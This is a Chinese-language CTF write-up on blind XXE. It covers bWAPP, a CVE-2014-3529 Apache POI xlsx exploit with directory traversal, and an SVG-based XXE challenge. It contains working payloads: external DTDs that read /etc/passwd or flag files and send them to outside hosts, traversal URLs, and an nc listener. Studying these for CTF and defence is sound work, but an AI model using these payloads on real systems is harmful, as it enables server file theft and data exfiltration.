从几道CTF学习Blind XXE

    科技2022-07-11  84

    0x00 前言

    对于传统的XXE来说,攻击者只有在服务器有回显或报错的情况下才能使用XXE漏洞来读取服务器端文件。 例如

    <!ENTITY file SYSTEM "file:///etc/passwd"> <username>&file;</username>

    如果服务器没有回显,只能通过Blind XXE构造一条外带信道来提取数据,也就是数据外带。

    一个实例

    xml.php

    <?php libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>

    test.dtd

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">

    payload

    <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]>
    调用过程
    %remote请求远程vps上的test.dtd%int调用test.dtd中的%file%file获取服务器上的敏感文件,并传入%send%send将数据发送到远程vps上

    这样就实现了外带数据的效果,完美解决了XXE无回显的问题

    0x01 bWAPP

    下面用bWAPP靶场来示例一下有回显XXE和无回显的区别

    有回显XXE

    点击Any bugs抓包查看正常请求,可以看到其中的XML文档

    利用http协议

    payload

    <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test[ <!ENTITY file SYSTEM "http://192.168.115.142/bWAPP/robots.txt"> ]> <reset><login>&file;</login><secret>Any bugs?</secret></reset>

    利用file协议

    payload

    <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test[ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <reset><login>&file;</login><secret>Any bugs?</secret></reset>

    利用php伪协议

    payload

    <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test[ <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/bWAPP/xxe-1.php"> ]> <reset><login>&file;</login><secret>Any bugs?</secret></reset>

    无回显XXE

    由于bWAPP没有无回显靶场,这里用来测试一下数据外带的思路

    我们先在vps上传一个test.dtd文件,内容如下

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://116.62.211.134:2333/?p=%file;'>">

    payload

    <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY % remote SYSTEM "http://116.62.211.134/test.dtd"> %remote;%int;%send; ]> <reset><login>bee</login><secret>Any bugs?</secret></reset>

    0x02 网鼎杯2020 filejava

    CVE-2014-3529

    Apache POI 3.10-FINAL及以前版本被发现允许远程攻击者通过注入XML外部实体访问外部实体资源或者读取任意文件。

    影响范围

    poi-ooxml-3.10-FINAL.jar及以下版本

    利用文件

    [Content-Types].xml

    漏洞利用
    新建test.xlsx文件,修改后缀名为.zip并解压,得到以下文件

    修改[Content_Types].xml,在第二行加入以下内容

    <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/file.dtd"> %remote;%int;%send; ]>

    压缩成zip后再修改后缀为.xlsx

    在vps上新建一个file.dtd文件,内容如下

    <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">

    vps开启监听,上传xlsx文件后外带出数据

    解题

    任意文件下载

    上传一个文件后可以点击下载

    修改filename为../后得到一个Java的报错信息

    这里用目录穿越读取WEB-INF下的web.xml文件

    DownloadServlet?filename=../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

    可以看到有UploadServlet、DownloadServlet、ListFileServlet三个class文件

    DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
    Blind XXE

    依次下载下来后用jd-gui反编译成Java源代码,关键代码在UploadServlet.class第63行起

    如果是以excel-开头的xlsx文件,就会调用WorkbookFactory.create去处理文件,从而触发XXE

    vps上传一个dtd文件,内容如下

    <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.2.73.65:2333?p=%file;'>">

    将excel解压后,修改[Content-Types].xml,在第二行后加入以下内容

    <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://174.2.73.65/xxe.dtd"> %remote;%int;%send; ]>

    vps上开启监听

    nc -lvvp 2333

    0x03 DozerCTF2020 svgggggg!

    svg简介

    SVG是一种图像文件格式,它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形。它是基于XML(Extensible Markup Language),由World Wide Web Consortium(W3C)联盟进行开发的。

    SVG是一种用XML定义的语言,使用 XML 格式定义图形。SVG 文件是纯粹的 XML。

    svg xxe

    既然svg也是xml格式,自然可以用来xxe,下面给出有回显和盲打的payload

    有回显

    xxe.svg

    <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
    无回显

    xxe.dtd

    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" > <!ENTITY % send "<!ENTITY res SYSTEM 'http://116.62.211.134:8088/?a=%file;'>">

    xxe.svg

    <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT svg ANY > <!ENTITY % remote SYSTEM "http://116.62.211.134/xxe.xml" > %remote;%send; ]><svg height="100" width="1000">&res;</svg>

    解题

    这道题应该是加了白,如果请求的文件不是svg的话会返回Unauthorized type!

    传入一个svg会成功加载

    payload
    xxe.svg <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT svg ANY > <!ENTITY % remote SYSTEM "http://yourip/xxe.dtd" > %remote;
    转载请注明原文地址:https://blackberry.8miu.com/read-2543.html
    最新回复(0)